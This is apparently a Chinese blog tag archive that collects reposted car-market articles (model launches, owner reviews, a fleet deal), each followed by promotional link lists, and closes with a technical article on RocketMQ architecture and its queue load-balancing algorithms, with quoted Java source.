標籤: 貨運

  • 死磕哈弗H2S?這款新SUV未來能8萬起就賣瘋的節奏

    死磕哈弗H2S?這款新SUV未來能8萬起就賣瘋的節奏

    車身長寬高為4310×1780×1680mm,軸距達到了2600mm。動力系統:奔騰X40或將搭載1。6L發動機,最大功率116馬力,峰值扭矩達到155牛米。傳動方面搭配5速手動和來自愛信的6速自動變速箱。競爭對手:長城汽車-哈弗H2s指導價:8。38-10。28萬在內飾的設計、用料上,哈弗H2s可謂佔盡優勢。

    一汽奔騰在推出了入門轎車奔騰B30后,又再一次把目光投向火熱的SUV市場。近日一汽全新SUV-奔騰X40正式出現在人們的視野之中!

    它的外觀沿襲了奔騰X80的設計語言,也以動感、大氣的風格為主!開眼角的頭燈造型和六邊形的中網設計很漂亮。

    側面和尾部的設計很厚重、腰線力量感很足夠,車頂還採用了雙色車身的設計。

    內飾則採用黑米雙色的設計,做工和用料也是一貫奔騰的風格。懸浮式中控大屏設計得體。

    其實一汽奔騰X40採用一汽自主研發的A級平台打造而來。車身長寬高為4310×1780×1680mm,軸距達到了2600mm。

    動力系統:

    奔騰X40或將搭載1.6L發動機,最大功率116馬力,峰值扭矩達到155牛米。傳動方面搭配5速手動和來自愛信的6速自動變速箱。

    競爭對手:

    長城汽車-哈弗H2s

    指導價:8.38-10.28萬

    在內飾的設計、用料上,哈弗H2s可謂佔盡優勢。包括髮動機的功率也讓自吸的奔騰X40有些汗顏,但是動力匹配和穩定性上奔騰X40更有優勢。

    編者點評:

    奔騰X40的定位其實很符合現在消費者的需求,而它要是能在價格和配置上多些誠意的話,未來的銷量或迎來爆發。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※別再煩惱如何寫文案,掌握八大原則!

    ※教你寫出一流的銷售文案?

    ※超省錢租車方案

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※回頭車貨運收費標準

  • 這款美系家轎省油又舒適,看看車主怎麼說

    這款美系家轎省油又舒適,看看車主怎麼說

    配置上沒能显示百公里油耗。輪胎用的是佳通195,真令人無語。升降窗戶按鈕並沒有夜光燈,晚上是要瞎摸的節奏。目前行駛里程:現在開了2000公里,油耗穩定在6。9L/100km,手動擋果然是省油利器。車主:123木頭人購買車型:2016款 15N 自動精英型裸車購買價:10。

    前言

    英朗在中國一直給人居家好車的形象,因此銷量一直都很不錯。無論是底盤的厚實感,還是隔音都給人不錯的印象,事實到底怎麼樣,下面請看幾位車主的說法。

    車主:DJ

    購買車型:2016款 15N 自動精英型

    裸車購買價:9.89萬

    最滿意的點:性價比很高,開起來也比較容易上手。車裡的空間和座椅的舒適性都很好,之前車子載着4個人出外旅遊,無論前後左右的空間,都很寬敞。這車操控性不錯,指向也精準,很容易開。

    最不滿意的點:油耗略微偏高了一點,門板上的儲物空間並不充足。動力也不是很充足,上長坡時會顯得乏力。內飾設計缺乏亮點,別克的車很擅於營造豪華感,但英朗就是一個特例。

    目前行駛里程:現在已經開了3000公里,首保之前的油耗在8.2L/100km,做完首保以後就逐漸下降到7.2L/100km,還是很令人滿意。

    車主:梁先生

    購買車型:2016款 15N 手動進取型

    裸車購買價:8.99萬

    最滿意的點:外觀相當漂亮,特別是那銳利的日間行車燈,簡直攝人心魄。這個價位帶有車身穩定系統也很厚道。油耗很令我滿意。底盤的濾震有厚實感,面對坑窪以及橋頭跳都可以很安穩地應對。

    最不滿意的點:作為一個20年的老煙槍,這車只配點煙器而沒有煙缸,確實太不像話了。配置上沒能显示百公里油耗。輪胎用的是佳通195,真令人無語。升降窗戶按鈕並沒有夜光燈,晚上是要瞎摸的節奏。

    目前行駛里程:現在開了2000公里,油耗穩定在6.9L/100km,手動擋果然是省油利器。

    車主:123木頭人

    購買車型:2016款 15N 自動精英型

    裸車購買價:10.19萬

    最滿意的點:外觀時尚靚麗,紅色車身看起來更顯高貴。操控算是很優良,轉向基本指哪打哪。座椅的材質較為柔軟,後排座椅可以放倒,而前排也可以放得很低。性價比夠高,許多該有配置都有了。

    最不滿意的點:動力很一般,油門響應也不夠快,緊急超車時動力並不能很好跟上。白色車身不耐臟,而且髒了以後,清潔麻煩。內飾設計比較普通,沒有別克應有的水準,感覺略微有點失望。

    目前行駛里程:到現在為止,已經開了8700公里,百公里綜合油耗為7.5L左右,上到高速可以下降到6.5左右,很令我滿意。

    編者總結:

    從以上三位車主的說法中,可以看出英朗確實是一款居家好車,省心舒適。不過,如果你想要動力與很好的操控,就不該對它有所眷戀了。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※教你寫出一流的銷售文案?

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    ※回頭車貨運收費標準

    ※別再煩惱如何寫文案,掌握八大原則!

    ※超省錢租車方案

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※推薦台中搬家公司優質服務,可到府估價

  • 聚焦共享車新政 海馬汽車與易鑫金融達成20000台戰略合作

    聚焦共享車新政 海馬汽車與易鑫金融達成20000台戰略合作

    福美來品牌新變 樹立共享車市場典範自九月底以來,海馬汽車開啟聚焦福美來品牌的全新戰略,將福美來從產品品牌升級為品類品牌,繼福美來轎車、福美來七座版后,再將福美來專車版納入福美來品牌體系,並與福美來七座版一道作為福美來家轎品牌下的首發明星組合進軍汽車租賃市場以及互聯網+汽車金融時代的家庭用車市場,則是福美來品牌新變后的一大重要營銷舉措。

    月初,隨着《網絡預約出租汽車經營服務管理暫行辦法》的正式實施,各地的網約車細則也在陸續出台,共享車市場面臨整肅和洗牌,不少車型被網約車准入指標的高門檻拒之門外。不過,隨着汽車共享經濟的異軍突起,共享車市場發展趨勢不可逆轉。新政策的出台對廣大車企而言既是挑戰,更是機遇。抓住機會,創新變革,則有望分得共享經濟紅利。而福美來旗下的兩大車型–福美來七座版和福美來專車版便是新政施行之初的首批獲益者。

    11月25日,海馬汽車與易鑫金融共享車合作暨福美來系列20000台訂單簽約儀式在海馬汽車大本營–海南海口成功舉行,福美來旗下兩大車型福美來七座版和福美來專車版分別憑藉七座大空間、愉悅尊貴等產品力優勢,以及穩定可靠的產品品質獲得易鑫金融的青睞。雙方達成20000輛車的供車合作協議,共同發力共享車市場。

    易鑫金融是中國領先的互聯網汽車金融交易平台,易鑫金融旗下的易鑫車貸App及daikuan.com為廣大消費者提供新車貸款、二手車貸款、車主貸款,汽車租賃以及汽車保險等全方位的汽車金融服務。目前,累計服務用戶超1000萬人,日均線上個人車貸需求金額20億元,資產規模近200億元

    福美來兩大旗艦車型 全面滿足共享車市場需求

    作為2016年9月上市的多座版家用轎車,福美來七座版的超大空間、舒適安全等優點廣受市場認可。福美來七座版在整車尺寸上極具優勢,同時內部座椅角度也可進行靈活調整,實現了60種座椅組合方式,真正將空間的靈活多變性發揮到了極致,可最大限度滿足多人集體出行、商務接待、載物等需求。此外,福美來七座版在安全上也下足了功夫。

    除了諸多厚道的主、被動安全配備,海馬自身對車輛實地安全測試和安全舒適駕乘做到嚴格把關,真正讓消費者感到安心和舒心,並且以互聯網思維為原點,結合家庭用戶兼顧商務用戶的使用需求,配備了HM-Link極智車載互聯繫統、高效T動力、及多項科技配置,使得福美來七座版給消費者帶來超越同級的舒適尊享駕乘感。

    憑藉七座大空間的核心優勢、結合安靜舒適、強力安全和智能科技等強悍產品力,福美來七座版為多人出行提供更具溫情和性價比的解決方案,全面滿足了商務與多口之家的出行所需,從眾多車型中脫穎而出,成為了汽車租賃市場的先行者。

    七座大空間,福美來七座版完美承載多人出行

    相對於福美來七座版的適合多人出行優勢,福美來專車版在整車尊享駕控方面同樣惹人注目。據悉,福美來專車版是在海馬M8的基礎上針對共享車市場進行升級的定製版本,是福美來品牌升級后的又一重磅舉措。

    兼具舒適與安全,福美來專車版精準駕控愉悅尊享

    福美來專車版是海馬汽車在整車造車技術上的最高體現,在自主中高級車市場中,以整體造車解決方案獨樹一幟,轎跑底盤配合渦輪增壓發動機營造出強悍T動力,并力求通過精準駕控、全面安全、愉悅尊享等智能技術的應用為消費者提供了尊享高檔的駕乘享受,是一款充分洞察消費者用車需求后傾力打造的中高級座駕,非常適用於專車市場以及互聯網+汽車金融時代的家庭用車市場。

    福美來品牌新變 樹立共享車市場典範

    自九月底以來,海馬汽車開啟聚焦福美來品牌的全新戰略,將福美來從產品品牌升級為品類品牌,繼福美來轎車、福美來七座版后,再將福美來專車版納入福美來品牌體系,並與福美來七座版一道作為福美來家轎品牌下的首發明星組合進軍汽車租賃市場以及互聯網+汽車金融時代的家庭用車市場,則是福美來品牌新變后的一大重要營銷舉措。

    海馬汽車集團股份有限公司執行董事、一汽海馬汽車有限公司總經理盧國綱說道:“借力此次合作,福美來品牌正式開啟共享車模式,一方面希望可以幫助有用車需求的用戶提供更加靈活方便、更高性價比、更豐富的車型選擇;幫助用戶避免不必要的消費,以租賃代替購買,養成更加共享和環保的出行方式,另一方面,希望可以解決大城市公共交通無法消化的出行需求。”福美來20000輛車進軍共享車市場,從租賃車和專車兩方面入手,在滿足廣大用戶高端出行需求的同時,也以強力安全、安靜舒適為駕乘者提供尊享優越的出行體驗,使用戶以更低費用獲取更具性價比的超值服務。

    共享車經濟的發展,對汽車行業而言既是挑戰也是機遇。此次海馬與易鑫金融的聯袂合作,不僅是一汽海馬以市場為導向的积極應對,更是其在“互聯網+共享車+汽車營銷+移動出行”方面做出的前瞻布局。我們有理由相信,海馬攜手易鑫金融飲得共享車市場頭啖湯的同時,也必將成為汽車業和金融資本開展互聯網營銷創新的理想範本。

    海馬汽車概況

    海馬汽車集團股份有限公司(簡稱海馬汽車集團)位於海南省海口市金盤工業區金盤路12-8號,註冊資金16.5億元,總資產150億元,在深交所掛牌上市,股票代碼為000572,以汽車產業為主業,致力於中國民族汽車工業的發展。

    海馬汽車集團旗下有海馬轎車有限公司、海馬商務汽車有限公司、一汽海馬汽車有限公司、上海海馬研發有限公司、海馬財務有限公司、金盤實業有限公司等。

    二十餘年來,海馬汽車集團貼近中國汽車市場,秉承“開放合作、學習創新、自主多贏”的發展理念,堅持“先做精、后做強、再做穩、不爭大”的經營理念,建成海口、鄭州和上海三個產業基地,產品覆蓋麵包車、轎車、MpV、SUV和新能源汽車五大領域,直屬員工1萬多人,關聯企業員工3萬多人,年產值100多億元,累計納稅150多億元。

    海馬汽車集團規劃年產銷整車一百萬輛。

    易鑫金融概況

    易鑫金融是中國領先的互聯網汽車金融交易平台,由易車、騰訊、京東、百度等互聯網巨頭注資60億元。易鑫金融旗下的易鑫車貸App及daikuan.com為廣大消費者提供新車貸款、二手車貸款、車主貸款,汽車租賃以及汽車保險等全方位的汽車金融服務。在線提供230個品牌汽車、2300餘家銀行及金融機構的金融產品可供用戶選擇,線下擁有5000人購車顧問、3萬餘家合作經銷商,服務遍及全國300多個城市。截至目前,累計服務用戶超1000萬人,日均線上個人車貸需求金額20億元,資產規模近200億元。本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※超省錢租車方案

    ※別再煩惱如何寫文案,掌握八大原則!

    ※回頭車貨運收費標準

    ※教你寫出一流的銷售文案?

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

    網頁設計最專業,超強功能平台可客製化

  • 同級中最大的SUV!自動擋僅需7.89萬起!

    同級中最大的SUV!自動擋僅需7.89萬起!

    29萬起。然而如果要求更多的話,可以再選往上的幾個配置如自動尊貴型和自動旗艦型,基本能夠做到在10萬元左右的落地價,就能夠享受着豐富配置的高級體驗,如對新手司機非常有用的360度全景影像,無鑰匙進入與一鍵啟動,电子駐車功能等等,這種事情只會發生在我們的自主品牌身上,所以除了說愛國,大部分人選擇自主品牌車輛還是有很大原因的,性價比高嘛。

    前言

    對於現在大多數的中國消費者來說,購車要求雖然不盡一致,但很多人還是喜歡着“又長又大又硬”的車輛,這樣說好像有點污,不過嘿嘿嘿,確實越長軸距的車輛,空間越大的車,車殼越硬的車,都能夠吸引無數人的要求,再加上一个中庸且高尚的外觀,銷量估計不成問題。至於配置方面,回過頭來看我們國家的自主品牌,肯定要啥有啥,您的預算內肯定能夠買到滿意的配置。

    而其中備受人們關注的一汽森雅R7,除了超高顏值和超配置之外,重點來了,就是繼手動擋上市后終於又在這次的廣州車展上上市了其自動擋版本!相信許多朋友們都期待已久,畢竟手動擋在城市中行走確實有些不方便,自動擋的到來,相信肯定會對森雅R7的銷量帶來很大的幫助。

    先從外觀開始說起,畢竟這是許多人所考慮的重中之重,如雄鷹般沉穩大氣的前臉線條,配合大燈看起來非常犀利,腰線舒展優雅,整體風格時尚硬朗,這個臉套在一輛SUV的臉上剛好合適。

    除了外觀招人喜歡之外,在同級的小型SUV中,森雅R7帶給人的空間體驗更加豐富,軸距達到了2600mm,屬於同級最大的超長軸距,採用緊湊布置,內部空間實現了最大化,後排座椅支持放倒,實現車內空間多樣化設置,在這一點上,就能夠符合人們喜歡“又長又大”的購車需求了。

    內飾設計上採用環抱式駕駛艙設計,智能彩屏儀錶,貫穿式副儀錶板,盡可能地將消費者眼前所能看到的中控設計,利用最好的效果呈現出來。

    同時在配置上更有着越級別的表現,除了1.6L自動舒適版之外,其他自動擋版本都全部標配ESp車身穩定系統,真皮座椅,多功能真皮方向盤,定速巡航和發動機啟停裝置,價格上也只要8.29萬起。

    然而如果要求更多的話,可以再選往上的幾個配置如自動尊貴型和自動旗艦型,基本能夠做到在10萬元左右的落地價,就能夠享受着豐富配置的高級體驗,如對新手司機非常有用的360度全景影像,無鑰匙進入與一鍵啟動,电子駐車功能等等,這種事情只會發生在我們的自主品牌身上,所以除了說愛國,大部分人選擇自主品牌車輛還是有很大原因的,性價比高嘛。

    自主品牌除了性價比很高之外,消費者還會考慮的另外一個原因就是它的安全性如何,因為對於一款新出的車型,還沒有經過市場的考驗,很難在消費者印象中樹立品質形象,舉個例子,相信大家都看過不少汽車追尾事故的圖片,其中沃爾沃都能夠在大多數事故中以較完整的車身取勝,那麼對於森雅R7來說,同樣也是採用了高強度的籠型車身,搭載博世九代ESp,集成剎車輔助,上坡輔助和牽引力控制等主動安全系統,同時在細節的地方,剎車踏板為防侵入式設計,能夠在正面碰撞時減少對駕駛員腳部傷害的風險,發動機蓋採用可壓潰式設計,降低碰撞時對行人的傷害。

    手動擋版本森雅R7在4月27日於北京上市,上市后首月訂單就超過了1萬台,非常受消費者歡迎,而這次在廣州車展上正式上市其自動擋版本,均搭載愛信第三代6速自動變速器,自動擋版本定價在7.89-9.99萬這個區間,而手動擋則為6.89萬起步。

    發動機採用1.6L自然吸氣發動機,這對於一輛小型SUV來說,代步肯定是足夠的,油耗也不會特別的高,所以我們不需要盲目地追求大排量和帶渦輪,其實實用以及不錯的油耗體現,才是日後我們養車所關注的最大問題,而這款匹配了6速自動變速箱的試駕感受會如何,要試駕后,屆時會為大家送上對應的試駕文章。

    本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    網頁設計最專業,超強功能平台可客製化

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※回頭車貨運收費標準

    ※推薦評價好的iphone維修中心

    ※教你寫出一流的銷售文案?

    台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

    台中搬家公司費用怎麼算?

  • 新創酷9.99萬起售 這麼超值是要砸場子的節奏?

    新創酷9.99萬起售 這麼超值是要砸場子的節奏?

    很久很久以前小編美美並不是做編輯而是說書的今天小編美美就來說一個古老而又神秘的故事。

    很久很久以前

    小編美美並不是做編輯

    而是

    說書的

    今天小編美美就來說一個古老

    而又神秘的故事

    本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※回頭車貨運收費標準

    ※推薦評價好的iphone維修中心

    ※超省錢租車方案

    台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

    ※推薦台中搬家公司優質服務,可到府估價

  • 又大又漂亮SUV僅5.89萬?11月上市的這幾款性價比特高

    又大又漂亮SUV僅5.89萬?11月上市的這幾款性價比特高

    4T渦輪增壓發動機,最大功率達到143馬力,匹配6速手自一體變速箱或6速手動變速箱。編者點評:新款創酷設計一下子變得年輕、運動。這樣的設計風格無疑對20多歲的朋友們更有吸引力。而且自動擋車型的起售價僅11。99萬,還採用了1。

    在11月份,因為廣州車展的緣故,各大汽車廠商都在這個月里推出了今年最後一波重點新車!今天編者就和大家聊聊這個月上市的重點高性價比新SUV,要買SUV不妨多看看這些新車!

    奇瑞汽車-瑞虎3x

    指導價:5.89-8.09萬

    奇瑞全新的小型SUV–瑞虎3x也在本月上市,5.89萬的起售價,讓很多粉絲都在後台跟我們聊過這款車。

    其實瑞虎3x的車身長寬高為4200*1760*1570mm,軸距為2555mm。編者此前親身體驗過這款車的空間,它的乘坐空間夠用,基本上頭部、腿部空間都有富餘。而且後備廂的空間也不錯。

    動力方面,其採用1.5L發動機最大功率106馬力,最大扭矩為135牛米。搭配4擋自動變速箱或5擋手動變速箱。

    編者點評:

    如果你想要買人生的第一輛車的話,瑞虎3x這一類的低價、年輕化的SUV車型可以說是比較合適的。它賣點在於不錯的外觀內飾設計、不錯的空間實用性,還有較高的性價比。另外較高的坐姿,在行車過程中也更方便察看前方的車流。

    上汽通用雪佛蘭-創酷

    指導價:9.99—14.99萬

    在前幾天,雪佛蘭2017款創酷正式上市了。這次上市的為中期改款車型,它的外觀運用了雪佛蘭全新家族化設計,在前臉造型的變化尤為明顯!

    其採用立體雙格柵的造型、修長的大燈,較老款車型更有運動感。大燈中還帶有U型LED日間行車燈,配置方面,新車提供胎壓監測、智能啟停功能、ESp、7英寸觸摸屏等亮點配置。

    動力系統方面,它搭載的是1.4T渦輪增壓發動機,最大功率達到143馬力,匹配6速手自一體變速箱或6速手動變速箱。

    編者點評:

    新款創酷設計一下子變得年輕、運動。這樣的設計風格無疑對20多歲的朋友們更有吸引力。而且自動擋車型的起售價僅11.99萬,還採用了1.4T發動機,動力表現十分充沛。喜歡這個價位SUV車型的朋友可以多關注它!

    東風標緻-標緻4008

    指導價:18.57-27.37萬

    因為漂亮、科幻的外觀而備受期待的法系全新SUV,標緻4008也在這個月上市!18.57-27.37萬的售價區間讓它比起翼虎、途觀這些對手車型的指導價要稍低一些。

    在外觀和內飾設計方面,標緻4008足夠前衛、時尚。而在動力方面它搭載1.6T、1.8T渦輪增壓發動機,最大功率分別為167馬力、204馬力。匹配6擋手自一體變速箱!

    pSA集團採用的這兩套動力系統其實在動力、平順性、油耗方面都有比較出色的表現,如果你需求動力充沛、提速給力的車型,標緻4008可以成為你重點考慮的車型之一。

    編者點評:

    外觀和內飾的超前的設計、三大件不錯的性能,讓標緻4008的競爭力表現不錯。雖然低配車型的舒適性配置有些缺失,但是其安全性配置還是很厚道的,所以不失為一款競爭力出色的歐系SUV。

    最後總結:

    上面提到的車型都是本月已經上市的高關注度SUV車型,在性價比方面都表現不錯,而我個人比較喜歡標緻4008,前衛的設計和不錯的操控性是它能打動我的地方!本站聲明:網站內容來源於http://www.auto6s.com/,如有侵權,請聯繫我們,我們將及時處理

    【其他文章推薦】

    ※回頭車貨運收費標準

    ※產品缺大量曝光嗎?你需要的是一流包裝設計!

    ※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

    ※推薦評價好的iphone維修中心

    ※教你寫出一流的銷售文案?

    台中搬家公司教你幾個打包小技巧,輕鬆整理裝箱!

    台中搬家遵守搬運三大原則,讓您的家具不再被破壞!

  • 從消息中間件看分佈式系統的多種套路

    從消息中間件看分佈式系統的多種套路

         

     

     

     

      

      消息中間件作為分佈式系統的重要成員,各大公司及開源均有許多解決方案。目前主流的開源解決方案包括RabbitMQ、RocketMQ、Kafka、ActiveMQ等。消息這個東西說簡單也簡單,說難也難。簡單之處在於好用方便,接入簡單使用簡單,異步操作能夠解耦系統間的依賴,同時失敗后也能夠追溯重試。難的地方在於,設計一套可以支撐業務的消息機制,並提供高可用架構,解決消息存儲、消息重試、消息隊列的負載均衡等一系列問題。然而難也不代表沒有方法或者“套路”,熟悉一下原理與實現,多看幾個框架的源碼后多總結勢必能找出一些共性。

      消息框架大同小異,熟練掌握其原理、工作機制是必要的。就拿用的比較多的RocketMQ為引,來說說消息引擎的設計與實現。阿里的消息引擎經過了從Notify到Napoli、再到MetaQ三代的發展,現在已經非常成熟,在不同部門的代碼中現在沒準都還可以從代碼里看到這一系列演進過程。當前的Apache RocketMQ 就是阿里將MetaQ項目捐贈給了Apache基金會,而內部還是沿用MetaQ的名稱。

          首先詮釋幾個消息相關的基本概念。

    • 每個消息隊列都必須建立一個Topic。
    • 消息可以分組,每個消息隊列都至少需要一個生產者Producer和一個消費者Consumer。生產者生產發送消息,消費者接收消費消息。
    • 每個消費者和生產者都會分批提個ID。

     

    RocketMQ 系統架構

     

        

     

      接下來再來看看RocketMQ的架構,如圖所示,簡要描述一下幾種角色及作用。 

    • NameServer
      • NameServer是消息Topic的註冊中心,用於發現和管理消息生產者、消費者、及路由關係。
    • Broker
      • 消息存儲與轉發的中轉站,使用隊列機制管理數據存儲。Broker中會存儲多份消息數據進行容錯,以Master/Slave的架構保證系統的高可用,Broker中可以部署單個或多個Master。單個Master的場景,Master掛掉后,Producer新產生的消息無法被消費,但已經發送到Broker的消息,由於Slave節點的存在,還能繼續被Consumer所消費;如果部署多個Master則系統能能正常運轉。
      • 另外,Broker中的Master和Slave不是像Zookeeper集群中用選舉機制進行確定,而是固定的配置,這也是在高可用場景需要部署多個Master的原因。
      • 生產者將消息發送到Broker中后,Broker會將消息寫到本地的CommitLog文件中,保存消息。
    • Producer
      • 生產者會和NameServer集群中某一節點建立長鏈接,定時從NamerServeri獲取Topic路由信息,並且和Broker建立心跳。
    • Consumer
      • 消費者需要給生產者一個明確的消費成功的回應,MetaQ才會認為消費成功,否則失敗。失敗后,RocketMQ會將消息重新發回Broker,在指定的延遲時間內進行重試,當重試達到一定的次數后(默認16次),MetaQ則認為此消息不能被消費,消息會被投遞到死信隊列。

     

      這個架構看其實是否很熟悉?好像接觸過的一些分佈式系統的架構和這個長的都比較像是吧,甚至只要裏面框圖的角色稍微換換就能變成另外一個框架的介紹,比如Dubbo/Redis…。

    並且在RocketMQ架構設計中,要解決的問題與其他分佈式框架也可以觸類旁通。Master/Slave機制,天然的讀寫分離方式都是分佈式高可用系統的典型解決方案。

    負載均衡

      負載均衡是消息框架需要解決的又一個重要問題。當系統中生產者生產了大量消息,而消費者有多個或多台機器時,就需要平衡負載,讓消息均分地被消費者進行消費。目前RocketMQ中使用了多種負載均衡算法。主要有以下幾種,靜態配置由於過於簡單,直接為消費者配置需要消費的隊列,因此直接忽略。

    1. 求平均數法
    2. 環形隊列法
    3. 一致Hash算法
    4. Machine Room算法
    5. 靜態配置

      來看一下源碼,RocketMQ內部對以上負載均衡算法均有實現,並定義了一個接口 AllocateMessageQueueStrategy,採用策略模式,每種負載均衡算法都依靠實現這個接口實現,在運行中,會獲取這個接口的實例,從而動態判斷到底採用的是哪種負載均衡算法。

     1 public interface AllocateMessageQueueStrategy {
     2 
     3     /**
     4      * Allocating by consumer id
     5      *
     6      * @param consumerGroup current consumer group
     7      * @param currentCID current consumer id
     8      * @param mqAll message queue set in current topic
     9      * @param cidAll consumer set in current consumer group
    10      * @return The allocate result of given strategy
    11      */
    12     List<MessageQueue> allocate(
    13         final String consumerGroup,
    14         final String currentCID,
    15         final List<MessageQueue> mqAll,
    16         final List<String> cidAll
    17     );
    18 
    19     /**
    20      * Algorithm name
    21      *
    22      * @return The strategy name
    23      */
    24     String getName();
    25 }

     

     

    1. 求平均數法

      顧名思義,就是根據消息隊列的數量和消費者的數量,求出單個消費者上應該負擔的平均消費隊列數,然後根據消費者的ID,按照取模的方式將消息隊列分配到指定的consumer上。具體代碼可以去Github上找,截取核心算法代碼如下, mqAll就是消息隊列的結構,是一個MessageQueue的List,cidAll是消費者ID的列表,也是一個List。考慮mqAll和cidAll固定時以及變化時,當前消費者節點會從隊列中獲取到哪個隊列中的消息,比如當 averageSize 大於1時,這時每個消費者上的消息隊列就不止一個,而分配在每個消費者的上的隊列的ID是連續的。

     

     1     int index = cidAll.indexOf(currentCID);
     2         int mod = mqAll.size() % cidAll.size();
     3         int averageSize =
     4             mqAll.size() <= cidAll.size() ? 1 : (mod > 0 && index < mod ? mqAll.size() / cidAll.size()
     5                 + 1 : mqAll.size() / cidAll.size());
     6         int startIndex = (mod > 0 && index < mod) ? index * averageSize : index * averageSize + mod;
     7         int range = Math.min(averageSize, mqAll.size() - startIndex);
     8         for (int i = 0; i < range; i++) {
     9             result.add(mqAll.get((startIndex + i) % mqAll.size()));
    10         }
    11         return result;

     

    2. 環形平均法

      這種算法更為簡單。首先獲取當前消費者在整個列表中的下標index,直接用求余方法得到當前消費者應該處理的消息隊列。注意mqAll的size和cidAll的size可以是任意的。

    • 當ciAll.size() == mqAll.size() 時,該算法就是類似hashtable的求余分桶。
    • 當ciAll.size() > mqAll.size() 時,那麼多出的消費者上並不能獲取到消費的隊列,只有部分消費者能夠獲取到消息隊列並執行,相當於在消費者資源充足的情況下,由於隊列數少,所以使用其中一部分消費者就能滿足需求,不用額外的開銷。
    • 當ciAll.size() < mqAll.size() 時,這樣每個消費者上需要負載的隊列數就超過了1個,並且區別於直接求平均的方式,分配在每個消費者上的消費隊列不是連續的,而是有一定步長的間隔。
    1         int index = cidAll.indexOf(currentCID);
    2         for (int i = index; i < mqAll.size(); i++) {
    3             if (i % cidAll.size() == index) {
    4                 result.add(mqAll.get(i));
    5             }
    6         }
    7         return result;

     

    3. 一致Hash算法

      循環所有需要消費的隊列,根據隊列toString后的hash值計算出處理當前隊列的最近節點並分配給該節點。routeNode 中方法稍微複雜一些,有時間建議細看,這裏就只說功能。

     1      Collection<ClientNode> cidNodes = new ArrayList<ClientNode>();
     2         for (String cid : cidAll) {
     3             cidNodes.add(new ClientNode(cid));
     4         }
     5 
     6         final ConsistentHashRouter<ClientNode> router; //for building hash ring
     7         if (customHashFunction != null) {
     8             router = new ConsistentHashRouter<ClientNode>(cidNodes, virtualNodeCnt, customHashFunction);
     9         } else {
    10             router = new ConsistentHashRouter<ClientNode>(cidNodes, virtualNodeCnt);
    11         }
    12 
    13         List<MessageQueue> results = new ArrayList<MessageQueue>();
    14         for (MessageQueue mq : mqAll) {
    15             ClientNode clientNode = router.routeNode(mq.toString());
    16             if (clientNode != null && currentCID.equals(clientNode.getKey())) {
    17                 results.add(mq);
    18             }
    19         }
    20 
    21         return results;

     

     

    4. Machine Room算法

      基於機房的Hash算法。這個命名看起來很詐唬,其實和上面的普通求余算法是一樣的,只不過多了個配置和過濾,為了把這個說清楚就把源碼貼全一點。可以看到在這個算法的實現類中多了一個成員 consumeridcs,這個就是consumer id的一個集合,按照一定的約定,預先給broker命名,例如us@metaq4,然後給不同集群配置不同的consumeridcs,從而實現不同機房處理不同消息隊列的能力。

     1 /*
     2  * Licensed to the Apache Software Foundation (ASF) under one or more
     3  * contributor license agreements.  See the NOTICE file distributed with
     4  * this work for additional information regarding copyright ownership.
     5  * The ASF licenses this file to You under the Apache License, Version 2.0
     6  * (the "License"); you may not use this file except in compliance with
     7  * the License.  You may obtain a copy of the License at
     8  *
     9  *     http://www.apache.org/licenses/LICENSE-2.0
    10  *
    11  * Unless required by applicable law or agreed to in writing, software
    12  * distributed under the License is distributed on an "AS IS" BASIS,
    13  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
    14  * See the License for the specific language governing permissions and
    15  * limitations under the License.
    16  */
    17 package com.aliyun.openservices.shade.com.alibaba.rocketmq.client.consumer.rebalance;
    18 
    19 import java.util.ArrayList;
    20 import java.util.List;
    21 import java.util.Set;
    22 import com.aliyun.openservices.shade.com.alibaba.rocketmq.client.consumer.AllocateMessageQueueStrategy;
    23 import com.aliyun.openservices.shade.com.alibaba.rocketmq.common.message.MessageQueue;
    24 
    25 /**
    26  * Computer room Hashing queue algorithm, such as Alipay logic room
    27  */
    28 public class AllocateMessageQueueByMachineRoom implements AllocateMessageQueueStrategy {
    29     private Set<String> consumeridcs;
    30 
    31     @Override
    32     public List<MessageQueue> allocate(String consumerGroup, String currentCID, List<MessageQueue> mqAll,
    33         List<String> cidAll) {
    34         List<MessageQueue> result = new ArrayList<MessageQueue>();
    35         int currentIndex = cidAll.indexOf(currentCID);
    36         if (currentIndex < 0) {
    37             return result;
    38         }
    39         List<MessageQueue> premqAll = new ArrayList<MessageQueue>();
    40         for (MessageQueue mq : mqAll) {
    41             String[] temp = mq.getBrokerName().split("@");
    42             if (temp.length == 2 && consumeridcs.contains(temp[0])) {
    43                 premqAll.add(mq);
    44             }
    45         }
    46 
    47         int mod = premqAll.size() / cidAll.size();
    48         int rem = premqAll.size() % cidAll.size();
    49         int startIndex = mod * currentIndex;
    50         int endIndex = startIndex + mod;
    51         for (int i = startIndex; i < endIndex; i++) {
    52             result.add(mqAll.get(i));
    53         }
    54         if (rem > currentIndex) {
    55             result.add(premqAll.get(currentIndex + mod * cidAll.size()));
    56         }
    57         return result;
    58     }
    59 
    60     @Override
    61     public String getName() {
    62         return "MACHINE_ROOM";
    63     }
    64 
    65     public Set<String> getConsumeridcs() {
    66         return consumeridcs;
    67     }
    68 
    69     public void setConsumeridcs(Set<String> consumeridcs) {
    70         this.consumeridcs = consumeridcs;
    71     }
    72 }
